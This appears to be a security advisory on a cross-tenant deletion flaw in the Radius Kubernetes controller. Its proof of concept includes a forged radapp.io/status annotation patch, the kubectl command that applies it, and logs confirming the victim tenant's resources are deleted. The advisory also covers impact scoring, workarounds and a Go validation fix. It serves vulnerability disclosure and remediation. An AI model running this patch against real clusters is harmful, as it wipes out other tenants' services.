Details
Step 5: Verify Victim Resource Exists
kubectl get deployment -n tenant-b-victim-app victim-container
Expected output:
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
Exploitation
Step 6: Inject Malicious Annotation
Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
Execute the attack:
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
Expected output:
deployment.apps/legitimate-app patched
Step 7: Verify Attack Success
Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-app
Expected output:
No resources found in tenant-b-victim-app namespace.
Log Evidence
The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Impact
Security Impact
- Confidentiality: No direct impact (no data disclosure)
- Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
- Availability: High - Can cause service disruption for target tenants
Attack Prerequisites
- Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
- Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
| Metric | Value | Description |
|---------------------|---------|--------------------------------------------------------------------|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
Workarounds
Until an official fix is released, consider the following mitigations:
- Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
- Monitor Anomalous Operations: Monitor modifications to
radapp.io/statusannotations, especially those containing other tenants' resource IDs - Network Isolation: Implement strict network policies in multi-tenant environments
Remediation Recommendations
Short-term Fix
Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
Long-term Fix
- Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
- Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
- Audit Logging: Log all cross-tenant operation attempts
References